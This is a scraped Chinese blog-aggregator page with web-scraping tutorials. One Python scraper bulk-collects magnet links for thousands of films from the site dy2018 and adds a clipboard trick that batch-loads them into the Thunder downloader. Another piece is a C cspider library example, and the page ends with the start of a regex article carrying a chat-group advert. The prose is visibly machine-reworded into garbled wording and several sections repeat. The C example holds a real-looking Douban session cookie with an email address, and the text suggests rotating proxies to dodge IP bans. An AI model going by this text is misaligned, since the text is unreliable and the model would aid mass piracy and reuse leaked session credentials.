#print(movie)
info.append(movie)
break
except Exception as e:
print(e)

return info
  注意代碼 26 行處,我加了一個(gè) if 語(yǔ)句的判定,如果下載鏈接中包含magnet:?xt=urn:btih 字符串,則視為有效鏈接,下載出來(lái),否則跳過(guò)。
  2. 我仍然在想能不能有個(gè)辦法使迅雷一鍵批量下載我們爬到的影片。使用 python 操縱第三方的軟件,這或許很難的。不之后來(lái)找到了一種方式,也算是解決了這個(gè)問(wèn)題。
  就是我們發(fā)覺(jué)迅雷軟件啟動(dòng)后,會(huì )手動(dòng)檢查我們的剪切板,只要我們復制了下載鏈接,它便會(huì )手動(dòng)彈出下載的提示框。借助這個(gè)思路,我們可以使用代碼,將下載的鏈接復制步入剪切板,等下載框手動(dòng)出現后,手動(dòng)確認開(kāi)始下載(這是我目前想到的最好的辦法了,不知道諸位大鱷有沒(méi)有更好的思路,歡迎指導交流)。
  
import pyperclip
import os
import pandas as pd
imageData = pd.read_csv("Data/電影天堂/動(dòng)作片2.csv",names=['name','link','download'],encoding = 'gbk')
# 獲取電影的下載鏈接,并用換行符分隔
a_link = imageData['download']
links = '\n'.join(a_link)
# 復制到剪切板
pyperclip.copy(links);
print('已粘貼');

# 打開(kāi)迅雷
thunder_path = r'D:\Program Files (x86)\Thunder Network\Thunder9\Program\Thunder.exe'
os.startfile(thunder_path)
  親測可以實(shí)現,但是。。。不建議嘗試(你能想像迅雷打開(kāi)的一瞬間創(chuàng )建幾百個(gè)下載任務(wù)的場(chǎng)景嗎?反正我的筆記本是緩了好久好久才反應過(guò)來(lái))。大家還是老老實(shí)實(shí)的,手動(dòng)復制鏈接下載吧(csv文件可以用 excel 打開(kāi)網(wǎng)絡(luò )爬蟲(chóng)下載,豎著(zhù)選中一列,然后復制,也能達到相同的療效),這種騷操作很蠢了還是不要試了。
  啰啰嗦嗦的寫(xiě)了很多,也不知道關(guān)鍵的問(wèn)題講清楚了沒(méi)有。有那里沒(méi)講清楚,或者那里講的不合適的話(huà),歡迎恐嚇。
  其實(shí)吧,寫(xiě)文章,寫(xiě)博客,寫(xiě)教程,都是一個(gè)知識重新熔煉內化的過(guò)程,在寫(xiě)這篇博客的時(shí)侯,我也仍然在反復考量我學(xué)習爬蟲(chóng)的過(guò)程,以及我爬蟲(chóng)代碼一步步的變化,從一開(kāi)始的所有代碼全部揉在主函數中,到后來(lái)把一些變動(dòng)較少的功能提取下來(lái),寫(xiě)成單獨的函數,再到后來(lái)產(chǎn)生基本穩定的五大部份。
  以至于在我后來(lái)學(xué)習使用 scrapy 框架時(shí)侯,驚人的發(fā)覺(jué) scrapy 框架的結構跟我的爬蟲(chóng)結構有著(zhù)異曲同工之妙,我的這個(gè)相當于是一個(gè)簡(jiǎn)易版的爬蟲(chóng)框架了,純靠自己摸索達到這個(gè)療效,我覺(jué)得還是很有成就感的。 查看全部

  不知不覺(jué),玩爬蟲(chóng)玩了一個(gè)多月了。
  我更加認為,爬蟲(chóng)似乎并不是哪些非常深奧的技術(shù),它的價(jià)值不在于你使用了哪些非常牛的框架,用了多么了不起的技術(shù),它不需要。它只是以一種自動(dòng)化收集數據的小工具,能夠獲取到想要的數據,就是它最大的價(jià)值。
  我的爬蟲(chóng)課老師也常跟我們指出,學(xué)習爬蟲(chóng)最重要的,不是學(xué)習上面的技術(shù),因為后端技術(shù)在不斷的發(fā)展,爬蟲(chóng)的技術(shù)便會(huì )隨著(zhù)改變。學(xué)習爬蟲(chóng)最重要的是,學(xué)習它的原理,萬(wàn)變不距其宗。
  爬蟲(chóng)說(shuō)白了是為了解決須要,方便生活的。如果還能在日常生活中,想到并應用爬蟲(chóng)去解決實(shí)際的問(wèn)題,那么爬蟲(chóng)的真正意義也久發(fā)揮下來(lái)了。
  這是些閑談啦,有感而發(fā)而已。
  最近有點(diǎn)片荒,不知道該看哪些影片,而且有些影片在網(wǎng)上找很久也找不到資源。后來(lái)我了解到這個(gè)網(wǎng)站,發(fā)現近來(lái)好多不錯的影片里面都有資源(這里我就先不管它的來(lái)源正不正規啦,#掩面)。
  所以此次我們要爬取的網(wǎng)站是:《電影天堂》,屯一些影片,等無(wú)趣的時(shí)侯拿出來(lái)瞧瞧,消遣閑暇也是不錯。
  
  這次的網(wǎng)站,從爬蟲(chóng)的技術(shù)角度上來(lái)講,難度不大,而且可以說(shuō)是十分簡(jiǎn)單了。但是,它實(shí)用??!你想嘛,早上下班前跑一下爬蟲(chóng),晚上回去之后早已有幾十部最新大片在你硬碟里等著(zhù)你啦,累了三天躺床上瞧瞧影片,這種覺(jué)得是不是太爽啊。
  而且正由于這個(gè)爬蟲(chóng)比較簡(jiǎn)單,所以我會(huì )寫(xiě)的稍為細一點(diǎn),爭取使 python 小白們也能盡可能讀懂,并且還能在這個(gè)爬蟲(chóng)的基礎上更改,得到爬取這個(gè)網(wǎng)站其他藍籌股或則其他影片網(wǎng)站的爬蟲(chóng)。
  在編撰爬蟲(chóng)程序之前,我先捋一捋我們的思路。
  爬蟲(chóng)的原理,是通過(guò)給定的一個(gè)URL(就是類(lèi)似于 這樣的,俗稱(chēng)網(wǎng)址的東東) 請求,去訪(fǎng)問(wèn)一個(gè)網(wǎng)頁(yè),獲取哪個(gè)網(wǎng)頁(yè)上的源代碼(不知道源代碼的,隨便打開(kāi)一個(gè)網(wǎng)頁(yè),右鍵,查看網(wǎng)頁(yè)源代碼,出來(lái)的一大堆象亂碼一樣的東西就是網(wǎng)頁(yè)源代碼,我們須要的數據就藏在這種源代碼上面)并返回來(lái)。然后,通過(guò)一些手段(比如說(shuō)json庫,BeautifulSoup庫,正則表達式等)從網(wǎng)頁(yè)源代碼中篩選出我們想要的數據(當然,前提是我們須要剖析網(wǎng)頁(yè)結構,知道自己想要哪些數據,以及那些數據儲存在網(wǎng)頁(yè)的哪里網(wǎng)絡(luò )爬蟲(chóng)下載,存放的位置有哪些特點(diǎn)等)。最后,將我們獲取到的數據根據一定的格式,存儲到本地或則數據庫中,這樣就完成了爬蟲(chóng)的全部工作。
  當然,也有一些 「騷操作」,如果你嫌爬蟲(chóng)效率低,可以開(kāi)多線(xiàn)程(就是相當于幾十只爬蟲(chóng)同時(shí)給你爬,效率直接翻了幾十倍);如果害怕爬取頻度過(guò)低被網(wǎng)站封 IP,可以?huà)?IP 代理(相當于打幾槍換個(gè)地方,對方網(wǎng)站就不知道你到底是爬蟲(chóng)還是正常訪(fǎng)問(wèn)的用戶(hù)了);如果對方網(wǎng)站有反爬機制,那么也有一些騷操作可以繞開(kāi)反爬機制(有點(diǎn)黑客攻守的覺(jué)得,有木有?。?。這些都是后話(huà)了。
  1. 分析網(wǎng)頁(yè)的 URL 的組成結構
  首先,我們須要剖析網(wǎng)頁(yè)的 URL 的組成結構,主要關(guān)注兩方面,一是怎樣切換選擇的影片類(lèi)型,二是網(wǎng)頁(yè)怎么翻頁(yè)的。
  電影類(lèi)型
  網(wǎng)址
  劇情片
  喜劇片
  動(dòng)作片
  愛(ài)情片
  科幻片
  動(dòng)畫(huà)片
  懸疑片
  驚悚片
  恐怖片
  記錄片
  ......
  ......
  災難片
  武俠片
  古裝片
  發(fā)現規律了吧,以后假如想爬其他類(lèi)型的影片,只要改變 url 中的數字即可,甚至你可以寫(xiě)一個(gè)循環(huán),把所有藍籌股中的影片全部爬取出來(lái)。
  頁(yè)碼
  URL
  第一頁(yè)
  第二頁(yè)
  第三頁(yè)
  第四頁(yè)
  除了第一頁(yè)是 「index」外,其余頁(yè)腳均是 「index_頁(yè)碼」的方式。
  所以我們基本把握了網(wǎng)站的 url 的構成方式,這樣我們就可以通過(guò)自己構造 url 來(lái)訪(fǎng)問(wèn)任意類(lèi)型影片的任意一頁(yè)了,是不是太酷。
  2. 分析網(wǎng)站的頁(yè)面結構
  其次,我們剖析一下網(wǎng)站的頁(yè)面結構,看一看我們須要的信息都藏在網(wǎng)頁(yè)的哪些地方(在這之前我們先要明晰一下我們須要什么數據),由于我們這個(gè)目的是下載影片,所以對我有用的數據只有兩個(gè),電影名稱(chēng)和下載影片的磁力鏈接。
  按 F12 召喚出開(kāi)發(fā)者工具(這個(gè)工具可以幫助你快速定位網(wǎng)頁(yè)中的元素在 html 源代碼中位置)。
  
  然后,我們可以發(fā)覺(jué),電影列表中,每一部影片的信息儲存在一個(gè) &lt;table&gt; 標簽里,而影片的名子,就藏在上面的一個(gè) &lt;a&gt; 標簽中。電影下載的磁力鏈接在影片的詳情頁(yè)面,而影片詳情頁(yè)面的網(wǎng)址也在這個(gè)&lt;a&gt; 標簽中( href 屬性的值)。
  
  而下載的磁力鏈接,存放在 &lt;tbody&gt; 標簽下的 &lt;a&gt; 標簽中,是不是太好找??!
  最后我們來(lái)縷一縷思路,一會(huì )兒我們打算這樣操作:通過(guò)上面的網(wǎng)址的構造規則,訪(fǎng)問(wèn)到網(wǎng)站的某一頁(yè),然后獲取到這個(gè)頁(yè)面里的所有 table 標簽(這里儲存著(zhù)影片的數據),然后從每一個(gè) table 標簽中找到存有影片名稱(chēng)的 a 標簽(這里可以領(lǐng)到影片名稱(chēng)以及詳情頁(yè)面的網(wǎng)址),然后通過(guò)這兒獲取的網(wǎng)址訪(fǎng)問(wèn)影片的詳情頁(yè)面,在詳情頁(yè)面選購出 &lt;tbody&gt; 標簽下的 &lt;a&gt; 標簽(這里儲存著(zhù)影片的下載鏈接),這樣我們就找到了我們所須要的全部數據了,是不是很簡(jiǎn)單啊。
  爬蟲(chóng)的程序,我通常習慣把它分成五個(gè)部份, 一是主函數,作為程序的入口,二是爬蟲(chóng)調度器,三是網(wǎng)路懇求函數,四是網(wǎng)頁(yè)解析函數,五是數據儲存函數。
  
# 我們用到的庫
import requests
import bs4
import re
import pandas as pd
  1.網(wǎng)絡(luò )懇求函數 :get_data (url)
  負責訪(fǎng)問(wèn)指定的 url 網(wǎng)頁(yè),并將網(wǎng)頁(yè)的內容返回,此部份功能比較簡(jiǎn)單固定,一般不需要做更改(除非你要掛代理,或者自定義懇求頭等,可以做一些相應的調整)。
  
def get_data(url):
'''
功能:訪(fǎng)問(wèn) url 的網(wǎng)頁(yè),獲取網(wǎng)頁(yè)內容并返回
參數:
url :目標網(wǎng)頁(yè)的 url
返回:目標網(wǎng)頁(yè)的 html 內容
'''
headers = {
'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36',
}

try:
r = requests.get(url, headers=headers)
r.raise_for_status()
return r.text

except requests.HTTPError as e:
print(e)
print("HTTPError")
except requests.RequestException as e:
print(e)
except:
print("Unknown Error !")
  2.網(wǎng)頁(yè)解析函數:parse_data(html)
  這個(gè)函數是整個(gè)爬蟲(chóng)程序的核心所在,整體思路在上一部分早已講過(guò)了。我這兒使用的庫是BeautifulSoup。
  這部份的寫(xiě)法多種多樣,有很多發(fā)揮的空間,也沒(méi)有哪些太多固定的模式,因為這部份的寫(xiě)法是要隨著(zhù)不同網(wǎng)站的頁(yè)面結構來(lái)做調整的,比如說(shuō)有的網(wǎng)站提供了數據的 api 接口,那么返回的數據就是 json 格式,我們只須要調用 json 庫就可以完成數據解析,而大部分的網(wǎng)站只能通過(guò)從網(wǎng)頁(yè)源代碼中一層層篩選(篩選手段也多種多樣,什么正則表達式,beautifulsoup等等)。
  這里須要依照數據的方式來(lái)選擇不同的篩選策略,所以,知道原理就可以了,習慣哪些方式就用哪些方式,反正最后能領(lǐng)到數據就好了。
  
def parse_data(html):
'''
功能:提取 html 頁(yè)面信息中的關(guān)鍵信息,并整合一個(gè)數組并返回
參數:html 根據 url 獲取到的網(wǎng)頁(yè)內容
返回:存儲有 html 中提取出的關(guān)鍵信息的數組
'''
bsobj = bs4.BeautifulSoup(html,'html.parser')
info = []

# 獲取電影列表
tbList = bsobj.find_all('table', attrs = {'class': 'tbspan'})

# 對電影列表中的每一部電影單獨處理
for item in tbList:
movie = []
link = item.b.find_all('a')[1]
# 獲取電影的名稱(chēng)
name = link["title"]
# 獲取詳情頁(yè)面的 url
url = 'https://www.dy2018.com' + link["href"]
# 將數據存放到電影信息列表里
movie.append(name)
movie.append(url)

try:
# 訪(fǎng)問(wèn)電影的詳情頁(yè)面,查找電影下載的磁力鏈接
temp = bs4.BeautifulSoup(get_data(url),'html.parser')
tbody = temp.find_all('tbody')

# 下載鏈接有多個(gè)(也可能沒(méi)有),這里將所有鏈接都放進(jìn)來(lái)
for i in tbody:
download = i.a.text
movie.append(download)

#print(movie)
# 將此電影的信息加入到電影列表中
info.append(movie)

except Exception as e:
print(e)

return info
  3. 數據儲存函數:save_data(data)
  這個(gè)函數目的是將數據儲存到本地文件或數據庫中,具體的寫(xiě)法要按照實(shí)際須要的儲存方式來(lái)定,我這兒是將數據儲存在本地的 csv 文件中。
  當然這個(gè)函數也并不只能做這些事兒,比如你可以在這里寫(xiě)一些簡(jiǎn)單的數據處理的操作,比如說(shuō):數據清洗,數據去重等操作。
  
def save_data(data):
'''
功能:將 data 中的信息輸出到文件中/或數據庫中。
參數:data 將要保存的數據
'''
filename = 'Data/電影天堂/動(dòng)作片.csv'

dataframe = pd.DataFrame(data)
dataframe.to_csv(filename, mode='a', index=False, sep=',', header=False)
  4. 爬蟲(chóng)調度器:main()
  這個(gè)函數負責按照 url 生成規則,構造新的 url 請求,然后依次調用網(wǎng)路懇求函數,網(wǎng)頁(yè)解析函數,數據儲存函數,爬取并保存該頁(yè)數據。
  所謂爬蟲(chóng)調度器,就是控制爬蟲(chóng)哪些時(shí)侯開(kāi)始爬,多少只爬蟲(chóng)一起爬,爬那個(gè)網(wǎng)頁(yè),爬多久休息一次,等等這種事兒。
  
def main():
# 循環(huán)爬取多頁(yè)數據
for page in range(1, 114):
print('正在爬?。旱? + str(page) + '頁(yè)......')
# 根據之前分析的 URL 的組成結構,構造新的 url
if page == 1:
index = 'index'
else:
index = 'index_' + str(page)
url = 'https://www.dy2018.com/2/'+ index +'.html'
# 依次調用網(wǎng)絡(luò )請求函數,網(wǎng)頁(yè)解析函數,數據存儲函數,爬取并保存該頁(yè)數據
html = get_data(url)
movies = parse_data(html)
save_data(movies)

print('第' + str(page) + '頁(yè)完成!')
  5. 主函數:程序入口
  主函數作為程序的入口,只負責啟動(dòng)爬蟲(chóng)調度器。
  這里我通常習慣在 main() 函數前后輸出一條句子,以此判定爬蟲(chóng)程序是否正常啟動(dòng)和結束。
  
if __name__ == '__main__':
print('爬蟲(chóng)啟動(dòng)成功!')
main()
print('爬蟲(chóng)執行完畢!')
  運行了兩個(gè)小時(shí)左右吧,終于爬完了 113 頁(yè),共 3346 部動(dòng)作片影片的數據(本來(lái)不止這種的,但是有一些影片沒(méi)有提供下載鏈接,我在 excel 中排序后直接自動(dòng)剔除了)。
  
  
  然后想看哪些影片的話(huà),直接復制這種影片下載的磁力鏈接,到迅雷上面下載就好啦。
  1. 在網(wǎng)站提供的下載鏈接中,我試了一下,發(fā)現magnet 開(kāi)頭的這類(lèi)鏈接置于迅雷中可以直接下載,而 ftp 開(kāi)頭的鏈接在迅雷中總顯示資源獲取失?。ㄎ也恢朗遣皇俏掖蜷_(kāi)的形式不對,反正就是下載不來(lái)),于是我對程序做了一些小的調整,使其只獲取magnet 這類(lèi)的鏈接。
  修改的方法也很簡(jiǎn)單,只須要調整 網(wǎng)頁(yè)解析函數 即可(爬蟲(chóng)的五個(gè)部份是相對獨立的,修改時(shí)只需調整相應的模塊即可,其余部份無(wú)需更改)。
  
def parse_data(html):
'''
功能:提取 html 頁(yè)面信息中的關(guān)鍵信息,并整合一個(gè)數組并返回
參數:html 根據 url 獲取到的網(wǎng)頁(yè)內容
返回:存儲有 html 中提取出的關(guān)鍵信息的數組
'''
bsobj = bs4.BeautifulSoup(html,'html.parser')
info = []

# 獲取表頭信息
tbList = bsobj.find_all('table', attrs = {'class': 'tbspan'})

for item in tbList:
movie = []
link = item.b.find_all('a')[1]
name = link["title"]
url = 'https://www.dy2018.com' + link["href"]

try:
# 查找電影下載的磁力鏈接
temp = bs4.BeautifulSoup(get_data(url),'html.parser')
tbody = temp.find_all('tbody')

for i in tbody:
download = i.a.text
if 'magnet:?xt=urn:btih' in download:
movie.append(name)
movie.append(url)
movie.append(download)
#print(movie)
info.append(movie)
break
except Exception as e:
print(e)

return info
  注意代碼 26 行處,我加了一個(gè) if 語(yǔ)句的判定,如果下載鏈接中包含magnet:?xt=urn:btih 字符串,則視為有效鏈接,下載出來(lái),否則跳過(guò)。
  2. 我仍然在想能不能有個(gè)辦法使迅雷一鍵批量下載我們爬到的影片。使用 python 操縱第三方的軟件,這或許很難的。不之后來(lái)找到了一種方式,也算是解決了這個(gè)問(wèn)題。
  就是我們發(fā)覺(jué)迅雷軟件啟動(dòng)后,會(huì )手動(dòng)檢查我們的剪切板,只要我們復制了下載鏈接,它便會(huì )手動(dòng)彈出下載的提示框。借助這個(gè)思路,我們可以使用代碼,將下載的鏈接復制步入剪切板,等下載框手動(dòng)出現后,手動(dòng)確認開(kāi)始下載(這是我目前想到的最好的辦法了,不知道諸位大鱷有沒(méi)有更好的思路,歡迎指導交流)。
  
import pyperclip
import os
import pandas as pd
imageData = pd.read_csv("Data/電影天堂/動(dòng)作片2.csv",names=['name','link','download'],encoding = 'gbk')
# 獲取電影的下載鏈接,并用換行符分隔
a_link = imageData['download']
links = '\n'.join(a_link)
# 復制到剪切板
pyperclip.copy(links);
print('已粘貼');

# 打開(kāi)迅雷
thunder_path = r'D:\Program Files (x86)\Thunder Network\Thunder9\Program\Thunder.exe'
os.startfile(thunder_path)
  親測可以實(shí)現,但是。。。不建議嘗試(你能想像迅雷打開(kāi)的一瞬間創(chuàng )建幾百個(gè)下載任務(wù)的場(chǎng)景嗎?反正我的筆記本是緩了好久好久才反應過(guò)來(lái))。大家還是老老實(shí)實(shí)的,手動(dòng)復制鏈接下載吧(csv文件可以用 excel 打開(kāi)網(wǎng)絡(luò )爬蟲(chóng)下載,豎著(zhù)選中一列,然后復制,也能達到相同的療效),這種騷操作很蠢了還是不要試了。
  啰啰嗦嗦的寫(xiě)了很多,也不知道關(guān)鍵的問(wèn)題講清楚了沒(méi)有。有那里沒(méi)講清楚,或者那里講的不合適的話(huà),歡迎恐嚇。
  其實(shí)吧,寫(xiě)文章,寫(xiě)博客,寫(xiě)教程,都是一個(gè)知識重新熔煉內化的過(guò)程,在寫(xiě)這篇博客的時(shí)侯,我也仍然在反復考量我學(xué)習爬蟲(chóng)的過(guò)程,以及我爬蟲(chóng)代碼一步步的變化,從一開(kāi)始的所有代碼全部揉在主函數中,到后來(lái)把一些變動(dòng)較少的功能提取下來(lái),寫(xiě)成單獨的函數,再到后來(lái)產(chǎn)生基本穩定的五大部份。
  以至于在我后來(lái)學(xué)習使用 scrapy 框架時(shí)侯,驚人的發(fā)覺(jué) scrapy 框架的結構跟我的爬蟲(chóng)結構有著(zhù)異曲同工之妙,我的這個(gè)相當于是一個(gè)簡(jiǎn)易版的爬蟲(chóng)框架了,純靠自己摸索達到這個(gè)療效,我覺(jué)得還是很有成就感的。

如何高貴地使用c語(yǔ)言編撰爬蟲(chóng)

采集交流 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 395 次瀏覽 ? 2020-07-02 08:01 ? 來(lái)自相關(guān)話(huà)題

  大家在平?;蚨嗷蛏俚鼐蜁?huì )有編撰網(wǎng)路爬蟲(chóng)的需求。一般來(lái)說(shuō),編寫(xiě)爬蟲(chóng)的首選自然非python莫屬,除此之外,java等語(yǔ)言也是不錯的選擇。選擇上述語(yǔ)言的誘因不僅僅在于它們均有特別不錯的網(wǎng)路懇求庫和字符串處理庫,還在于基于上述語(yǔ)言的爬蟲(chóng)框架十分之多和健全。良好的爬蟲(chóng)框架可以確保爬蟲(chóng)程序的穩定性,以及編撰程序的便捷性。所以,這個(gè)cspider爬蟲(chóng)庫的使命在于,我們才能使用c語(yǔ)言,依然才能高貴地編撰爬蟲(chóng)程序。
  1、爬蟲(chóng)的特點(diǎn)
  配置便捷。使用一句設置函數,即可定義user agent,cookie,timeout,proxy以及抓取線(xiàn)程和解析線(xiàn)程的最大數目。
  程序邏輯獨立。用戶(hù)可以分別定義爬蟲(chóng)的解析函數,和數據持久化函數。并且對于解析到的新url,用戶(hù)可以使用cspider提供的addUrl函數網(wǎng)絡(luò )爬蟲(chóng)c,將其加入到任務(wù)隊列中。
  便捷的字符串處理。cspider中提供了基于pcre的簡(jiǎn)單的正則表達式函數,基于libxml2的xpath解析函數,以及用于解析json的cJSON庫。
  高效的抓取。cspider基于libuv調度抓取線(xiàn)程和解析線(xiàn)程,使用curl作為其網(wǎng)路懇求庫。
  2、使用cspider的步驟
  3、例子
  先來(lái)看下簡(jiǎn)單的爬蟲(chóng)事例,會(huì )在前面詳盡講解事例。
  
#include&lt;cspider/spider.h&gt;
/*
自定義的解析函數,d為獲取到的html頁(yè)面字符串
*/
void p(cspider_t *cspider, char *d, void *user_data) {
char *get[100];
//xpath解析html
int size = xpath(d, "//body/div[@class='wrap']/div[@class='sort-column area']/div[@class='column-bd cfix']/ul[@class='st-list cfix']/li/strong/a", get, 100);
int i;
for (i = 0; i &lt; size; i++) {
//將獲取到的電影名稱(chēng),持久化
saveString(cspider, get[i]);
}
}
/*
數據持久化函數,對上面解析函數中調用的saveString()函數傳入的數據,進(jìn)行進(jìn)一步的保存
*/
void s(void *str, void *user_data) {
char *get = (char *)str;
FILE *file = (FILE*)user_data;
fprintf(file, "%s\n", get);
return;
}
int main() {
//初始化spider
cspider_t *spider = init_cspider();
char *agent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:42.0) Gecko/20100101 Firefox/42.0";
//char *cookie = "bid=s3/yuH5Jd/I; ll=108288; viewed=1130500_24708145_6433169_4843567_1767120_5318823_1899158_1271597; __utma=30149280.927537245.1446813674.1446983217.1449139583.4; __utmz=30149280.1449139583.4.4.utmcsr=accounts.douban.com|utmccn=(referral)|utmcmd=referral|utmcct=/login; ps=y; ue=965166527@qq.com; dbcl2=58742090:QgZ2PSLiDLQ; ck=T9Wn; push_noty_num=0; push_doumail_num=7; ap=1; __utmb=30149280.0.10.1449139583; __utmc=30149280";
//設置要抓取頁(yè)面的url
cs_setopt_url(spider, "so.tv.sohu.com/list_p1100_p20_p3_u5185_u5730_p40_p5_p6_p77_p80_p9_2d1_p101_p11.html");
//設置user agent
cs_setopt_useragent(spider, agent);
//cs_setopt_cookie(spider, cookie);
//傳入解析函數和數據持久化函數的指針
cs_setopt_process(spider, p, NULL);
//s函數的user_data指針指向stdout
cs_setopt_save(spider, s, stdout);
//設置線(xiàn)程數量
cs_setopt_threadnum(spider, DOWNLOAD, 2);
cs_setopt_threadnum(spider, SAVE, 2);
//FILE *fp = fopen("log", "wb+");
//cs_setopt_logfile(spider, fp);
//開(kāi)始爬蟲(chóng)
return cs_run(spider);
}
  例子講解
  cspider_t *spider = init_cspider();獲取初始的cspider。cs_setopt_xxx這類(lèi)函數可以拿來(lái)進(jìn)行初始化設置。其中要注意的是: cs_setopt_process(spider,p,NULL);與cs_setopt_save(spider,s,stdout);,它們分別設置了解析函數p和數據持久化函數s,這兩個(gè)函數須要用戶(hù)自己實(shí)現,還有用戶(hù)自定義的指向上下文信息user_data的表針。在解析函數中網(wǎng)絡(luò )爬蟲(chóng)c,用戶(hù)要定義解析的規則,并對解析得到的字符串可以調用saveString進(jìn)行持久化,或者是調用addUrl將url加入到任務(wù)隊列中。在saveString中傳入的字符串會(huì )在用戶(hù)自定義的數據持久函數中得到處理。此時(shí),用戶(hù)可以選擇輸出到文件或數據庫等。
  最后調用cs_run(spider)即可啟動(dòng)爬蟲(chóng)。
  趕快使用cspider爬蟲(chóng)框架來(lái)編撰爬蟲(chóng)吧! 查看全部

  大家在平?;蚨嗷蛏俚鼐蜁?huì )有編撰網(wǎng)路爬蟲(chóng)的需求。一般來(lái)說(shuō),編寫(xiě)爬蟲(chóng)的首選自然非python莫屬,除此之外,java等語(yǔ)言也是不錯的選擇。選擇上述語(yǔ)言的誘因不僅僅在于它們均有特別不錯的網(wǎng)路懇求庫和字符串處理庫,還在于基于上述語(yǔ)言的爬蟲(chóng)框架十分之多和健全。良好的爬蟲(chóng)框架可以確保爬蟲(chóng)程序的穩定性,以及編撰程序的便捷性。所以,這個(gè)cspider爬蟲(chóng)庫的使命在于,我們才能使用c語(yǔ)言,依然才能高貴地編撰爬蟲(chóng)程序。
  1、爬蟲(chóng)的特點(diǎn)
  配置便捷。使用一句設置函數,即可定義user agent,cookie,timeout,proxy以及抓取線(xiàn)程和解析線(xiàn)程的最大數目。
  程序邏輯獨立。用戶(hù)可以分別定義爬蟲(chóng)的解析函數,和數據持久化函數。并且對于解析到的新url,用戶(hù)可以使用cspider提供的addUrl函數網(wǎng)絡(luò )爬蟲(chóng)c,將其加入到任務(wù)隊列中。
  便捷的字符串處理。cspider中提供了基于pcre的簡(jiǎn)單的正則表達式函數,基于libxml2的xpath解析函數,以及用于解析json的cJSON庫。
  高效的抓取。cspider基于libuv調度抓取線(xiàn)程和解析線(xiàn)程,使用curl作為其網(wǎng)路懇求庫。
  2、使用cspider的步驟
  3、例子
  先來(lái)看下簡(jiǎn)單的爬蟲(chóng)事例,會(huì )在前面詳盡講解事例。
  
#include&lt;cspider/spider.h&gt;
/*
自定義的解析函數,d為獲取到的html頁(yè)面字符串
*/
void p(cspider_t *cspider, char *d, void *user_data) {
char *get[100];
//xpath解析html
int size = xpath(d, "//body/div[@class='wrap']/div[@class='sort-column area']/div[@class='column-bd cfix']/ul[@class='st-list cfix']/li/strong/a", get, 100);
int i;
for (i = 0; i &lt; size; i++) {
//將獲取到的電影名稱(chēng),持久化
saveString(cspider, get[i]);
}
}
/*
數據持久化函數,對上面解析函數中調用的saveString()函數傳入的數據,進(jìn)行進(jìn)一步的保存
*/
void s(void *str, void *user_data) {
char *get = (char *)str;
FILE *file = (FILE*)user_data;
fprintf(file, "%s\n", get);
return;
}
int main() {
//初始化spider
cspider_t *spider = init_cspider();
char *agent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:42.0) Gecko/20100101 Firefox/42.0";
//char *cookie = "bid=s3/yuH5Jd/I; ll=108288; viewed=1130500_24708145_6433169_4843567_1767120_5318823_1899158_1271597; __utma=30149280.927537245.1446813674.1446983217.1449139583.4; __utmz=30149280.1449139583.4.4.utmcsr=accounts.douban.com|utmccn=(referral)|utmcmd=referral|utmcct=/login; ps=y; ue=965166527@qq.com; dbcl2=58742090:QgZ2PSLiDLQ; ck=T9Wn; push_noty_num=0; push_doumail_num=7; ap=1; __utmb=30149280.0.10.1449139583; __utmc=30149280";
//設置要抓取頁(yè)面的url
cs_setopt_url(spider, "so.tv.sohu.com/list_p1100_p20_p3_u5185_u5730_p40_p5_p6_p77_p80_p9_2d1_p101_p11.html");
//設置user agent
cs_setopt_useragent(spider, agent);
//cs_setopt_cookie(spider, cookie);
//傳入解析函數和數據持久化函數的指針
cs_setopt_process(spider, p, NULL);
//s函數的user_data指針指向stdout
cs_setopt_save(spider, s, stdout);
//設置線(xiàn)程數量
cs_setopt_threadnum(spider, DOWNLOAD, 2);
cs_setopt_threadnum(spider, SAVE, 2);
//FILE *fp = fopen("log", "wb+");
//cs_setopt_logfile(spider, fp);
//開(kāi)始爬蟲(chóng)
return cs_run(spider);
}
  例子講解
  cspider_t *spider = init_cspider();獲取初始的cspider。cs_setopt_xxx這類(lèi)函數可以拿來(lái)進(jìn)行初始化設置。其中要注意的是: cs_setopt_process(spider,p,NULL);與cs_setopt_save(spider,s,stdout);,它們分別設置了解析函數p和數據持久化函數s,這兩個(gè)函數須要用戶(hù)自己實(shí)現,還有用戶(hù)自定義的指向上下文信息user_data的表針。在解析函數中網(wǎng)絡(luò )爬蟲(chóng)c,用戶(hù)要定義解析的規則,并對解析得到的字符串可以調用saveString進(jìn)行持久化,或者是調用addUrl將url加入到任務(wù)隊列中。在saveString中傳入的字符串會(huì )在用戶(hù)自定義的數據持久函數中得到處理。此時(shí),用戶(hù)可以選擇輸出到文件或數據庫等。
  最后調用cs_run(spider)即可啟動(dòng)爬蟲(chóng)。
  趕快使用cspider爬蟲(chóng)框架來(lái)編撰爬蟲(chóng)吧!

想入門(mén)爬蟲(chóng)?那你就必須學(xué)好正則!爬蟲(chóng)入門(mén)和正則表達式超全合輯

采集交流 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 337 次瀏覽 ? 2020-06-30 08:02 ? 來(lái)自相關(guān)話(huà)題

  
  urllib.request.urlopen(url)官方文檔返回一個(gè) http.client.HTTPResponse 對象, 這個(gè)對象又用到的read()方法;返回數據;這個(gè)函數返回一個(gè) http.client.HTTPResponse 對象, 這個(gè)對象又有各類(lèi)方式, 比如我們用到的read()方法;如果你也是編程的學(xué)習者或則早已學(xué)會(huì )了的編程者!小編這兒有個(gè)群:103456743!大家可以加下,里面布滿(mǎn)了全國各地的學(xué)習者!為你們提供一個(gè)交流平臺,不管平常有遇到哪些BUG或則學(xué)習過(guò)程中卡殼,找不到人替你解決?那么就進(jìn)來(lái)吧,里面熱心的小伙伴還是十分多的,管理也是很好的,有哪些問(wèn)題,他假如有時(shí)間都能給你們解決,我認為是一個(gè)特別不錯的交流平臺,沒(méi)事也可以和你們扯扯公司的事中學(xué)發(fā)生的軼事,群文件早已上傳了很多G的資料,PDF,視頻 安裝工具,安裝教程都是有的,為了你們的學(xué)習能更進(jìn)一步!也為了你們能愉快的交流,討論學(xué)術(shù)問(wèn)題!所以你還在等哪些呢?好了馬上給你們帶來(lái)正文!
  
  
